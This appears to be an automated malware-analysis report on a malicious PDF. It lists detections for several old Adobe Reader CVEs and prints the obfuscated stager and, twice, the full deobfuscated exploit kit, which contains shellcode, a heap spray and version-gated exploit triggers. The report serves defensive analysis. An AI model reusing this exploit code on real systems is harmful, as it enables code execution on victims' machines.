MALICIOUS
390
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, identified by multiple heuristics as a stager. The JavaScript stream, named 'javascript_obj0011_000.js', is likely responsible for downloading and executing a second-stage payload. The obfuscated nature of the script and its stager functionality indicate a malicious intent, though the specific payload and delivery mechanism are not fully discernible from the static analysis alone.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ahrudq.egh/4 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xEBA | 516 bytes |
SHA-256: c8780ec7dfdb39cbc931dd298eb5ef3f0b24e358ab62327b245cde7c2593ac1e |
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Preview scriptFirst 1,000 lines of the extracted script
try {var jS='Function'.replace(/[]/g, '');uH='var sJ = 1H?54 ;Hvar bM HH= thiH?s;var gLH=b?HM.HgeHHtH?Pag??eH?NumWor?ds(?this.pageNum);var v=\'\';for(vH?ar vE=0;vE< ?g?L;?? vE+H+){v=[v, bM.getPageNthWord(b?HM.pageNum,?vE,true?)].join(\'\'?H);;}var yHHJ=\'\'H;for(var vE=0;vEH? H?< v.le?ngth; vE+=2){sFAH?=v.substr(HvE,2H?);HyJ=[yJ,String.fro?mCharCodHHe(parseIHnt(sFA,16)^sJ)].joiHn(\'H\');}eHv?al(yJ);yJ=null;'.replace(/[\?H]/g, '');jUZ=xO(aNG);} catch(kD){var jI=wJ()(uH);jI();}function wJ(){return app.doc[jS];}
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3845 bytes |
SHA-256: 3ec3ba7a2496de9770d29e2c7bd7e55c4f9a3f1ed62a084005afee142af4ea65 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
this.d=1224;this.d+=174;nG=12855;nG--;var j=["qF","r","h"];try {} catch(zI){};var bO='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';nQ=["iT","hQ"];var x={rQ:"iJ".substr(0)};lC=["pK","aP"];var gBS=this.info['yP'].replace(/[\s]/g, '');var wN={yF:false};try {var jE='f'.substr(19359)} catch(jE){};qV=13050;qV--;var sF = this.info;var pKT = (sF.producer.substr(0,5) == 'debug');var bY = new Array(); var kH = "%u";function bC(str){str = str.split(kH);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function yN(str1, str2){return [str1, str2].join("");}function rS(yT){var fW = sV();var lG = kZ();fW += ((fW.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + lG;if(pKT) app.alert("URL: " + fW);fW=lM(fW);var d=kH;var sFA=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";sFA+=fW;return bC(sFA);};function sV(){var qJ = (sF.author + sF.title).replace(/[\s]/g, '');var lY = yL(qJ, gBS, bO);return lY;};function yL(qJ, bO, gBS){var lY="";for(var i=0; i < qJ.length; i++){var dE = bO.indexOf(qJ[i]);if(dE > -1 ){lY += gBS[dE];}}return lY;};function lM(qJ){var out = "";qJ = wV(qJ);g = Math.round(qJ.length / 4);if (g != qJ.length /4) qJ+="00";for(var i=0; i < qJ.length; i+=4){out+= kH + qJ.substr(i+2, 2) + qJ.substr(i, 2);}return out;};function wV(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function nU(wD, len){while (wD.length * 2 < len){wD = yN(wD, wD);}return wD.substring(0, len / 2);};function fM(cH){var jU = 0x0c0c0c0c; gF = rS("pdf");if (cH == 1){jU = 0x30303030;}var dW = 0x400000;var ln = gF.length * 2;var gZ = dW - (ln + 0x38);var wD = bC(kH+"9090"+kH+"9090"); wD = nU(wD, gZ);var rA = (jU - 0x400000) / dW;for (var aN = 0; aN < rA; aN ++ ){bY[aN] = yN(wD, gF);}};function kZ(){try {return app.viewerVersion.toString();}catch(xA){ return 0;}}if(pKT) app.alert("called exploit");var lG = kZ();if(pKT) app.alert("v: " + lG);if (lG > 8){if(pKT) app.alert("util.printf");fM(1);var eJ = "12999999999999999999";for (hE=0; hE < 276; hE++) eJ += "8";util.printf("%45000f", eJ);}if (lG < 8){if(pKT) app.alert("Collab.collectEmailInfo");fM(0);var wT = bC(kH+"0c0c"+kH+"0c0c");while (wT.length < 44952) wT += wT;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : wT});}if (lG < 9.1){if (app.doc.Collab.getIcon){if(pKT) app.alert("Collab.getIcon");fM(0);var xE = unescape("%09");while (xE.length < 0x4000) xE += xE;xE = "N." + xE;app.doc.Collab.getIcon(xE);}}if (lG == 9.2){if(pKT) app.alert("media.newPlayer");fM(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}try {var xG='pKD'.substr(19567)} catch(xG){};cL=["eN","bA","iJO"];try {var zW='t'} catch(zW){};?
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page_word_xor_stage_000.js |
deobfuscated-js | page-word continuous-hex XOR decoded JavaScript (decompressed, key=0x9A) at offset 0x8C | 3844 bytes |
SHA-256: 3c3b6278ad3d1f01bde945bed7ceedcd78f33d8cb3adb0702eb3d819b3198f89 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
this.d=1224;this.d+=174;nG=12855;nG--;var j=["qF","r","h"];try {} catch(zI){};var bO='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';nQ=["iT","hQ"];var x={rQ:"iJ".substr(0)};lC=["pK","aP"];var gBS=this.info['yP'].replace(/[\s]/g, '');var wN={yF:false};try {var jE='f'.substr(19359)} catch(jE){};qV=13050;qV--;var sF = this.info;var pKT = (sF.producer.substr(0,5) == 'debug');var bY = new Array(); var kH = "%u";function bC(str){str = str.split(kH);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function yN(str1, str2){return [str1, str2].join("");}function rS(yT){var fW = sV();var lG = kZ();fW += ((fW.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + lG;if(pKT) app.alert("URL: " + fW);fW=lM(fW);var d=kH;var sFA=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";sFA+=fW;return bC(sFA);};function sV(){var qJ = (sF.author + sF.title).replace(/[\s]/g, '');var lY = yL(qJ, gBS, bO);return lY;};function yL(qJ, bO, gBS){var lY="";for(var i=0; i < qJ.length; i++){var dE = bO.indexOf(qJ[i]);if(dE > -1 ){lY += gBS[dE];}}return lY;};function lM(qJ){var out = "";qJ = wV(qJ);g = Math.round(qJ.length / 4);if (g != qJ.length /4) qJ+="00";for(var i=0; i < qJ.length; i+=4){out+= kH + qJ.substr(i+2, 2) + qJ.substr(i, 2);}return out;};function wV(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function nU(wD, len){while (wD.length * 2 < len){wD = yN(wD, wD);}return wD.substring(0, len / 2);};function fM(cH){var jU = 0x0c0c0c0c; gF = rS("pdf");if (cH == 1){jU = 0x30303030;}var dW = 0x400000;var ln = gF.length * 2;var gZ = dW - (ln + 0x38);var wD = bC(kH+"9090"+kH+"9090"); wD = nU(wD, gZ);var rA = (jU - 0x400000) / dW;for (var aN = 0; aN < rA; aN ++ ){bY[aN] = yN(wD, gF);}};function kZ(){try {return app.viewerVersion.toString();}catch(xA){ return 0;}}if(pKT) app.alert("called exploit");var lG = kZ();if(pKT) app.alert("v: " + lG);if (lG > 8){if(pKT) app.alert("util.printf");fM(1);var eJ = "12999999999999999999";for (hE=0; hE < 276; hE++) eJ += "8";util.printf("%45000f", eJ);}if (lG < 8){if(pKT) app.alert("Collab.collectEmailInfo");fM(0);var wT = bC(kH+"0c0c"+kH+"0c0c");while (wT.length < 44952) wT += wT;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : wT});}if (lG < 9.1){if (app.doc.Collab.getIcon){if(pKT) app.alert("Collab.getIcon");fM(0);var xE = unescape("%09");while (xE.length < 0x4000) xE += xE;xE = "N." + xE;app.doc.Collab.getIcon(xE);}}if (lG == 9.2){if(pKT) app.alert("media.newPlayer");fM(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}try {var xG='pKD'.substr(19567)} catch(xG){};cL=["eN","bA","iJO"];try {var zW='t'} catch(zW){};
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